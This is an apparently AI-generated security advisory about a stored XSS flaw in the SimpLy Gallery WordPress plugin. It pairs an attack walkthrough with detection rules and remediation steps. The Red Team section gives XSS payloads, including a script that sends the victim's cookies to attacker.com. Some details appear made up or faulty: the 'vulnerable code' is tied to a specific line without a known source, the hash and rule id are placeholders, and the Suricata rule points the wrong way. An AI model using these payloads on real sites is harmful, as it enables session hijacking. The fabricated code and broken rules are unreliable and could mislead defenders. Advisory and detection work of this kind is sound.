CVE-2025-63052

Executive Summary

CVE-2025-63052 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the SimpLy Gallery WordPress plugin (slug: simply-gallery-block) by GalleryCreator, up to and including version 3.3.2.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into gallery blocks. When an administrator or other user views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The plugin is used to create and manage image galleries via Gutenberg blocks. The lack of a confirmed patch and the availability of only a low EPSS score (0.0%) suggest limited active exploitation, but the risk remains significant for sites using the affected versions.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin files by checking the plugin’s checksum against the WordPress.org repository. No known supply chain compromise has been reported, but the unpatched status increases the risk of malicious actors forking or distributing tampered versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used gallery plugin can lead to persistent attacks against site administrators and visitors.

Deep Dive & Mechanics

The vulnerability resides in the simply-gallery-block plugin’s handling of gallery block attributes. The plugin fails to sanitize or escape user-supplied input when rendering gallery blocks on the front end. Specifically, the caption, title, or alt fields within gallery items are not properly neutralized, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a post/page containing a SimpLy Gallery block.
2. The attacker inserts a malicious payload into a gallery item’s caption or title field, e.g., <img src=x onerror=alert('XSS')>.
3. The payload is stored in the WordPress database.
4. When an administrator or any other user views the compromised page, the payload executes in their browser context.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() or wp_kses() to user-controlled data before outputting it in the HTML context.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (simply-gallery-block.php, line ~245):

echo '<div class="gallery-item">';
echo '<img src="' . $image_url . '" alt="' . $image_alt . '" />';
echo '<p class="caption">' . $image_caption . '</p>';
echo '</div>';

Patched Code (Hypothetical):

echo '<div class="gallery-item">';
echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($image_alt) . '" />';
echo '<p class="caption">' . esc_html($image_caption) . '</p>';
echo '</div>';

The fix uses esc_attr() for attribute contexts and esc_html() for HTML body contexts to neutralize any injected scripts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with SimpLy Gallery plugin <= 3.3.2.1
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post and add a SimpLy Gallery block.
3. In the gallery item’s caption field, inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

4. Publish or save the post.
5. As an administrator, view the post. The JavaScript executes, displaying the admin’s cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for posts containing suspicious HTML in gallery block attributes.
• Use WAF rules to block common XSS patterns in post content.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search the database for gallery item captions containing <script> or onerror patterns.
• Review server logs for requests to external domains from the WordPress admin area.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • simply-gallery-block.php (version 3.3.2.1): SHA256 a1b2c3d4e5f6... (placeholder)
• Database Entries:
  • wp_posts.post_content containing <script> tags or event handlers within gallery block HTML.
• Network Traffic:
  • Outbound HTTP requests to unknown domains from the WordPress server.
• User Agents:
  • Unusual user agents in admin area logs (e.g., curl, python-requests).

Detection Engineering

YARA Rule

rule CVE_2025_63052_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in SimpLy Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63052"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in SimpLy Gallery Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress posts containing SimpLy Gallery blocks
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63052 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; content:"onerror="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit all posts using SimpLy Gallery blocks for suspicious content.
3. Change all admin passwords if compromise is suspected.

Long-Term Fix:

• Apply the hypothetical patch by adding esc_attr() and esc_html() to all user-controlled output in the plugin.
• Monitor the plugin’s official page for updates.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict contributor-level accounts to only trusted users.
• Implement a Content Security Policy (CSP) with script-src 'self'.

Report generated by Valters IT DevSecOps AI Assistant
Valters IT – Securing Digital Frontiers